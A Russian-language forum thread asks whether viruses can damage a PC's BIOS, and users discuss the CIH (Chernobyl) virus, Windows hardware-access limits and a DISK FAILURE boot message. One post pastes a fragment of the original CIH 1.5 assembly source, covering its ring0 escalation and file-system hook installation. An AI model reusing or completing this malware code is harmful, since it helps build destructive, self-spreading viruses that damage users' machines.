Есть ли вирусы который портят БИОС

Ответить
Аватара пользователя
skyfish

Есть ли вирусы который портят БИОС

Сообщение skyfish »

Подскажите есть ли такие вирусы ?
Аватара пользователя
skyfish

Re: Есть ли вирусы который портят БИОС

Сообщение skyfish »

Более корректный ответ — они
были
и
могут быть
.

Нужно отметить, что для такого вируса необходимы администраторские привилегии.



———

Upd: ребят, вы отвечая — ответы выше читаете Изображение ?
Аватара пользователя
Котяра

Re: Есть ли вирусы который портят БИОС

Сообщение Котяра »

CrOsP, такой вирус был - "Чернобыль".

Сейчас такого вроде нет:

1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем.

2) В современных материнских платах есть система восстановления и материнскую плату можно восстановить, зачастую для этого нужно просто вставить диск из ее комплекта

3) Современные вирусы больше ориентированы на получение конфиденциальной информации или деньги. Сейчас редко вирусы, которые ломают компьютер, кто-то пишет



Вообще-то, я думаю, в теории, можно и написать вирус, сжигающий компьютер.

Ведь есть же утилиты для программного разгона видеокарты...



Просто это никому не нужно.
Аватара пользователя
K.A.V.

Re: Есть ли вирусы который портят БИОС

Сообщение K.A.V. »

Цитата Котяра:



1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем.
Есть ли вирусы который портят БИОС




Прошивал свой BIOS с помощью подобной утилитки от производителя материнской платы из под Windows XP Изображение
Аватара пользователя
Drongo

Re: Есть ли вирусы который портят БИОС

Сообщение Drongo »

У меня на том компе очень много вирусов , я вот и подумал , тот комп доисторический , просто часто вкл камп , а оно пишет DISK FAILURE....
Аватара пользователя
Drongo

Re: Есть ли вирусы который портят БИОС

Сообщение Drongo »

Цитата Котяра:



такой вирус был - "Чернобыль".
Есть ли вирусы который портят БИОС




Я в книге давно читал, что этот вирус портит 1 мегабайт файловой таблицы. Но вот как раз специально прочитал о нём -
Virus.Win9x.CIH
, умеет перезатирать BIOS. Изображение
Аватара пользователя
Red Caption

Re: Есть ли вирусы который портят БИОС

Сообщение Red Caption »

Если речь идет о CIH 95 то могу принести маленький пример на асме из оригинального кода Изображение



Designer : CIH Source : TTIT of TATUNG in Taiwan *

; * Create Date : 04/26/1998 E-mail : [url=mailto:WinCIH.Tatung@usa.net]WinCIH.Tatung@usa.net[/url] *

; * Modification Time : 06/01/1998 Version : 1.5 *

; * *

; * Turbo Assembler Version 5.0 : Tasm /m cih *

; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe











Код:

Код: Выделить всё

pop	ebp
                        push    00401000h       ; Push Original
OriginalAddressOfEntryPoint	=	$-4	; App Entry Point to Stack
                         ret     ; Return to Original App Entry Point
; *********************************************************
; *             Ring0 Virus Game Initial Program          *
; *********************************************************
MyExceptionHook:
@2			=	MyExceptionHook
			jz	InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !?    *
; *************************************
			mov	ecx, dr0
			jecxz	AllocateSystemMemoryPage
			add	dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program   *
; *************************************
ExitRing0Init:
			mov	[ebx-04h], bp	;
			shr	ebp, 16		; Restore Exception
			mov	[ebx+02h], bp	;
			iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
			mov	dr0, ebx	; Set the Mark of My Virus Exist in System
			push	00000000fh	;
			push	ecx		;
			push	0ffffffffh	;
			push	ecx		;
			push	ecx		;
			push	ecx		;
			push	000000001h	;
			push	000000002h	;
			int	20h		; VMMCALL _PageAllocate
_PageAllocate		=	$		;
			dd	00010053h	; Use EAX, ECX, EDX, and flags
			add	esp, 08h*04h
			xchg	edi, eax	; EDI = SystemMemory Start Address
			lea	eax, MyVirusStart-@2[esi]
			iretd	; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook   *
; *************************************
InstallMyFileSystemApiHook:
			lea	eax, FileSystemApiHook-@6[edi]
			push	eax  ;
			int	20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =       $
			dd      00400067h	; Use EAX, ECX, EDX, and flags
			mov	dr0, eax	; Save OldFileSystemApiHook Address
			pop	eax	; EAX = FileSystemApiHook Address
			; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
			mov	ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
			mov	edx, [ecx]
			mov	OldInstallFileSystemApiHook-@3[eax], edx
			; Modify IFSMgr_InstallFileSystemApiHook Entry Point
			lea	eax, InstallFileSystemApiHook-@3[eax]
			mov	[ecx], eax
			cli
			jmp	ExitRing0Init
; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************
CodeSizeOfMergeVirusCodeSection		=	offset $
; *********************************************************
; *             IFSMgr_InstallFileSystemApiHook           *
; *********************************************************
InstallFileSystemApiHook:
			push	ebx
			call	@4	;
@4:					;
			pop	ebx	; mov ebx, offset FileSystemApiHook
			add	ebx, FileSystemApiHook-@4	;
			push	ebx
			int	20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook	=	$
			dd      00400068h	; Use EAX, ECX, EDX, and flags
			pop	eax
			; Call Original IFSMgr_InstallFileSystemApiHook
			; to Link Client FileSystemApiHook
			push	dword ptr [esp+8]
			call	OldInstallFileSystemApiHook-@3[ebx]
			pop	ecx
			push	eax
			; Call Original IFSMgr_InstallFileSystemApiHook
			; to Link My FileSystemApiHook
			push	ebx
			call	OldInstallFileSystemApiHook-@3[ebx]
			pop	ecx
			mov	dr0, eax	; Adjust OldFileSystemApiHook Address
			pop	eax
			pop	ebx
			ret
Аватара пользователя
Котяра

Re: Есть ли вирусы который портят БИОС

Сообщение Котяра »

Цитата CrOsP:



DISK FAILURE
Есть ли вирусы который портят БИОС




Я не специалист по "железу", но я думаю, это может быть проблема с жестким диском.
Аватара пользователя
K.A.V.

Re: Есть ли вирусы который портят БИОС

Сообщение K.A.V. »

Цитата CrOsP:



DISK FAILURE....
Есть ли вирусы который портят БИОС




Возможно повреждена основная загрузочная запись (MBR) жесткого диска, пишет только это? Это полное сообщение? Изображение
Ответить

Вернуться в «Хочу все знать»